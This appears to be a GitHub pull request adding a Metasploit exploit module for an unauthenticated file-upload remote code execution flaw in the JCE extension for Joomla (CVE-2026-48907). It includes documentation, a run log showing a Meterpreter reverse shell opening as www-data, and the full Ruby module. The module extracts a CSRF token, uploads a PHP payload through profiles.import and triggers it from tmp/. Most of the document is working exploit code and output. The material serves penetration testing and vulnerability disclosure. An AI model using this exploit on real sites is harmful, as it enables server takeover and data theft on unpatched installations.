-
Notifications
You must be signed in to change notification settings - Fork 14.9k
Add JCE profiles.import unauthenticated RCE module #21615
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from 4 commits
74e81ef
0f52a41
3e8111b
7b600c7
2d8a99e
459b77c
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,70 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE (Joomla Content Editor) extension for | ||
| Joomla! (CVE-2026-48907). The `profiles.import` task fails to enforce authentication, allowing the import of a crafted profile that | ||
| is directly written to disk as a PHP web shell. This results in remote code execution, provided that the `tmp/` directory is not | ||
| explicitly restricted. JCE versions up to and including 2.9.99.4 are affected. | ||
|
|
||
| A vulnerable environment requires: | ||
|
|
||
| * A working Joomla! installation, available from [downloads.joomla.org/](https://downloads.joomla.org/). | ||
| * The JCE extension. An affected build (<= 2.9.99.4) can be obtained from the vendor's | ||
| [GitHub repository](https://github.com/widgetfactory/jce) | ||
| ([direct package link](https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip)). | ||
|
|
||
| No authentication is required to trigger the vulnerability; the module only needs | ||
| network access to the Joomla! front end. | ||
|
|
||
| This module has been tested successfully on JCE 2.9.99.4 running on Joomla! 6.1.1, Apache and PHP 8.4.22. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Install a vulnerable Joomla! + JCE environment as described above. | ||
| 2. Start `msfconsole`. | ||
| 3. Do: `use exploit/multi/http/joomla_com_jce_unauth_file_upload_rce` | ||
| 4. Do: `set RHOSTS [ip]` | ||
| 5. If necessary, do: `set TARGETURI [path]` | ||
| 6. If necessary, set the standard options (`RPORT`, `SSL`, `LHOST`, `LPORT`, etc.) to match your environment. | ||
| 7. Do: `run` | ||
| 8. You should get a Meterpreter session. | ||
|
|
||
| ## Options | ||
|
|
||
| ### FILENAME | ||
|
|
||
| The name to use for the uploaded PHP payload, dropped under `tmp/`. Must end in a PHP-executable extension | ||
| (`.php`, `.php2`-`.php7`, `.pht` or `.phtml`); the module enforces this and will abort with `Failure::BadConfig` | ||
| otherwise. The default value is a randomly generated alphanumeric filename with a `.php` extension. | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### JCE 2.9.99.4 on Joomla! 6.1.1 (Apache, PHP 8.4.22) | ||
|
|
||
| ``` | ||
| msf > use exploit/multi/http/joomla_com_jce_unauth_file_upload_rce | ||
| [*] Using configured payload php/meterpreter/reverse_tcp | ||
| msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set RHOSTS 127.0.0.1 | ||
| RHOSTS => 127.0.0.1 | ||
| msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set RPORT 9999 | ||
| RPORT => 9999 | ||
| msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set LHOST 172.19.0.1 | ||
| LHOST => 172.19.0.1 | ||
| msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > check | ||
| [+] 127.0.0.1:9999 - The target appears to be vulnerable. JCE version 2.9.99.4 detected. | ||
| msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > run | ||
| [*] Started reverse TCP handler on 172.19.0.1:4444 | ||
| [*] Uploading sBKP7OLDD.php | ||
| [*] Triggering /tmp/sBKP7OLDD.php | ||
| [*] Sending stage (45739 bytes) to 172.19.0.2 | ||
| [+] Deleted sBKP7OLDD.php | ||
| [*] Meterpreter session 1 opened (172.19.0.1:4444 -> 172.19.0.2:37958) at 2026-06-25 22:27:32 +0200 | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : 78ccc0643bbc | ||
| OS : Linux 78ccc0643bbc 7.0.11-200.fc44.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 1 22:50:37 UTC 2026 x86_64 | ||
| Architecture : x64 | ||
| System Language : C | ||
| Meterpreter : php/linux | ||
| meterpreter > getuid | ||
| Server username: www-data | ||
| ``` |
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
| @@ -0,0 +1,174 @@ | ||||||
| # frozen_string_literal: true | ||||||
|
|
||||||
| ## | ||||||
| # This module requires Metasploit: https://metasploit.com/download | ||||||
| # Current source: https://github.com/rapid7/metasploit-framework | ||||||
| ## | ||||||
|
|
||||||
| class MetasploitModule < Msf::Exploit::Remote | ||||||
| Rank = ExcellentRanking | ||||||
|
|
||||||
| include Msf::Exploit::Remote::HttpClient | ||||||
| include Msf::Exploit::FileDropper | ||||||
|
|
||||||
| def initialize(info = {}) | ||||||
| super( | ||||||
| update_info( | ||||||
| info, | ||||||
| 'Name' => 'Joomla Content Editor Unauthenticated File Upload RCE', | ||||||
| 'Description' => %q{ | ||||||
| This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE | ||||||
| (Joomla Content Editor) extension for Joomla! (CVE-2026-48907). The profiles.import task fails to enforce | ||||||
| authentication, allowing the import of a crafted profile that is directly written to disk as a PHP web shell. | ||||||
| This results in remote code execution, provided that the tmp/ directory is not explicitly restricted. | ||||||
|
|
||||||
| JCE versions up to and including 2.9.99.4 are affected. | ||||||
| }, | ||||||
| 'License' => MSF_LICENSE, | ||||||
| 'Author' => [ | ||||||
| 'ispyispyispy' | ||||||
| ], | ||||||
| 'References' => [ | ||||||
| ['CVE', '2026-48907'], | ||||||
| ['GHSA', 'c3f5-4g7f-qjqj'], | ||||||
| ['URL', 'https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites'] | ||||||
| ], | ||||||
| 'DisclosureDate' => '2026-06-05', | ||||||
| 'Platform' => ['php'], | ||||||
| 'Arch' => ARCH_PHP, | ||||||
| 'Targets' => [ | ||||||
| ['Joomla Content Editor (Joomla!)', {}] | ||||||
| ], | ||||||
| 'Privileged' => false, | ||||||
| 'DefaultOptions' => { | ||||||
| 'PAYLOAD' => 'php/meterpreter/reverse_tcp' | ||||||
| }, | ||||||
| 'DefaultTarget' => 0, | ||||||
| 'Notes' => { | ||||||
| 'Stability' => [CRASH_SAFE], | ||||||
| 'Reliability' => [REPEATABLE_SESSION], | ||||||
| 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] | ||||||
| } | ||||||
| ) | ||||||
| ) | ||||||
|
|
||||||
| register_options([ | ||||||
| OptString.new('TARGETURI', [true, 'The base path to Joomla!', '/']), | ||||||
| OptString.new('FILENAME', | ||||||
| [false, 'The filename for the uploaded payload (default: random)', nil]) | ||||||
| ]) | ||||||
|
15py15py15py marked this conversation as resolved.
Outdated
|
||||||
|
|
||||||
| datastore['FILENAME'] ||= "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}.php" | ||||||
|
15py15py15py marked this conversation as resolved.
Outdated
|
||||||
| end | ||||||
|
|
||||||
| def check | ||||||
| res = send_request_cgi( | ||||||
| 'method' => 'GET', | ||||||
| 'uri' => normalize_uri(target_uri.path, 'components', 'com_jce', 'jce.php') | ||||||
| ) | ||||||
|
|
||||||
| return CheckCode::Unknown('Could not connect to web service.') unless res | ||||||
| return CheckCode::Safe('JCE component does not appear to be installed.') unless res.code != 404 | ||||||
| return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}.") unless res.code == 200 | ||||||
|
|
||||||
| # We could also check with .php extension, but i'd rather not trigger anything by an accident. | ||||||
| filename = Rex::Text.rand_text_alphanumeric(rand(8..12)) + ['.jpg', '.png'].sample | ||||||
|
15py15py15py marked this conversation as resolved.
Outdated
|
||||||
|
|
||||||
| res = send_request_cgi( | ||||||
| 'method' => 'GET', | ||||||
| 'uri' => normalize_uri(target_uri.path, 'tmp', filename) | ||||||
| ) | ||||||
|
|
||||||
| return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res && res.code != 403 | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I think this case is different. Requests to tmp/ can sometimes just be refused or timed out and the shortened version would miss those cases. Maybe we leave it as is? |
||||||
|
|
||||||
| version = extract_jce_version | ||||||
|
|
||||||
| return CheckCode::Detected('Exploit conditions are met. Target is likely vulnerable unless patched.') unless version | ||||||
|
|
||||||
| version = Rex::Version.new(version) | ||||||
| max_version = Rex::Version.new('2.9.99.4') | ||||||
|
|
||||||
| return CheckCode::Safe("JCE version #{version} detected.") unless version <= max_version | ||||||
|
|
||||||
| CheckCode::Appears("JCE version #{version} detected.") | ||||||
| end | ||||||
|
|
||||||
| def exploit | ||||||
| payload_filename = datastore['FILENAME'] | ||||||
|
|
||||||
| unless payload_filename && payload_filename.match?(/\.(php[2-7]?|pht(?:ml)?)$/i) | ||||||
| fail_with(Failure::BadConfig, 'FILENAME must end with valid PHP file extension') | ||||||
| end | ||||||
|
15py15py15py marked this conversation as resolved.
Outdated
|
||||||
|
|
||||||
| res = send_request_cgi( | ||||||
| 'method' => 'GET', | ||||||
| 'uri' => normalize_uri(target_uri.path, 'index.php') | ||||||
|
15py15py15py marked this conversation as resolved.
Outdated
|
||||||
| ) | ||||||
|
|
||||||
| fail_with(Failure::Unreachable, 'Could not connect to web service') unless res | ||||||
| fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") unless res.code == 200 | ||||||
|
|
||||||
| cookies = res.get_cookies | ||||||
|
|
||||||
| csrf_token = extract_csrf_token(res.body) | ||||||
| fail_with(Failure::UnexpectedReply, 'Failed to extract CSRF token') unless csrf_token | ||||||
| vprint_status("Extracted CSRF token: #{csrf_token}") | ||||||
|
|
||||||
| print_status("Uploading #{payload_filename}") | ||||||
| res = upload_profile(payload_filename, payload.encoded, csrf_token, cookies) | ||||||
|
|
||||||
| unless res && res.code == 200 | ||||||
| fail_with(Failure::UnexpectedReply, "Upload failed with HTTP response code: #{res.code}") | ||||||
| end | ||||||
|
15py15py15py marked this conversation as resolved.
Outdated
|
||||||
|
|
||||||
| payload_uri = normalize_uri(target_uri.path, 'tmp', payload_filename) | ||||||
| print_status("Triggering #{payload_uri}") | ||||||
|
|
||||||
| register_files_for_cleanup(payload_filename) | ||||||
|
|
||||||
| send_request_cgi({ 'method' => 'GET', 'uri' => payload_uri }, 5) | ||||||
|
|
||||||
| handler | ||||||
|
15py15py15py marked this conversation as resolved.
Outdated
|
||||||
| end | ||||||
|
|
||||||
| def extract_jce_version | ||||||
| cache_buster = "?v=#{Time.now.to_i}" | ||||||
| uri_path = normalize_uri( | ||||||
| target_uri.path, 'media', 'com_jce', 'editor', 'extensions', | ||||||
| 'popups', 'jcemediabox', 'js', 'jcemediabox.js' | ||||||
| ) | ||||||
|
|
||||||
| res = send_request_cgi('method' => 'GET', 'uri' => "#{uri_path}#{cache_buster}") | ||||||
|
15py15py15py marked this conversation as resolved.
Outdated
|
||||||
|
|
||||||
| return unless res && res.code == 200 | ||||||
|
15py15py15py marked this conversation as resolved.
Outdated
|
||||||
|
|
||||||
| match = res.body.match(/jce\s*-\s*([\d.]+)/) | ||||||
| match[1] if match | ||||||
| end | ||||||
|
|
||||||
| def extract_csrf_token(body) | ||||||
| match = body.match(/"csrf\.token"\s*:\s*"([a-f0-9]{32})"/) | ||||||
| return match[1] if match | ||||||
|
|
||||||
| match = body.match(/<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"/i) | ||||||
| match[1] if match | ||||||
| end | ||||||
|
|
||||||
| def upload_profile(filename, content, csrf_token, cookies = '') | ||||||
| mime = Rex::MIME::Message.new | ||||||
| mime.add_part(content, 'application/xml', 'binary', "form-data; name=\"profile_file\"; filename=\"#{filename}\"") | ||||||
| mime.add_part('profiles.import', nil, nil, 'form-data; name="task"') | ||||||
| mime.add_part('1', nil, nil, "form-data; name=\"#{csrf_token}\"") | ||||||
|
|
||||||
| data = mime.to_s | ||||||
|
|
||||||
| send_request_cgi( | ||||||
| 'method' => 'POST', | ||||||
| 'uri' => normalize_uri(target_uri.path), | ||||||
| 'vars_get' => { 'option' => 'com_jce' }, | ||||||
| 'ctype' => "multipart/form-data; boundary=#{mime.bound}", | ||||||
| 'data' => data, | ||||||
| 'cookie' => cookies | ||||||
| ) | ||||||
| end | ||||||
| end | ||||||
Uh oh!
There was an error while loading. Please reload this page.